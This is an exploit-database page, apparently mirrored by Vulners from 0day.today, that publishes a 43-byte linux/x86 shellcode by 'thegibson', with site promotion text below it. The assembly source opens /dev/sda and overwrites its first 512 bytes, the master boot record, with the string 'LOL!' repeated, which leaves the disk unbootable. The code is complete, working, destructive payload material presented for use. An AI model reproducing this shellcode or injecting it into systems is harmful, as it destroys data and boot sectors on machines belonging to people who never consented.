Lucene search
K

linux/x86 overwrite MBR on /dev/sda with `LOL!` 43 bytes

🗓️ 15 Jan 2010 00:00:00Reported by thegibsonType 
zdt
 zdt
🔗 0day.today👁 19 Views

linux/x86 overwrite MBR on /dev/sda with `LOL!` 43 byte

Code
========================================================
linux/x86 overwrite MBR on /dev/sda with `LOL!` 43 bytes
========================================================

; linux/x86 overwrite MBR on /dev/sda with `LOL!` 43 bytes
 
section .text
        global _start
 
_start:
        ; open("/dev/sda", O_WRONLY);
        mov al, 5
        xor ecx, ecx
        push ecx
        push dword 0x6164732f
        push dword 0x7665642f
        mov ebx, esp
        inc ecx
        int 0x80
 
        ; write(fd, "LOL!"x128, 512);
        mov ebx, eax
        mov al, 4
        cdq
        push edx
        mov cl, 128
        fill:
                push dword 0x214c4f4c
        loop fill
        mov ecx, esp
        inc edx
        shl edx, 9
        int 0x80




#  0day.today [2018-02-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Jan 2010 00:00Current
7High risk
Vulners AI Score7
19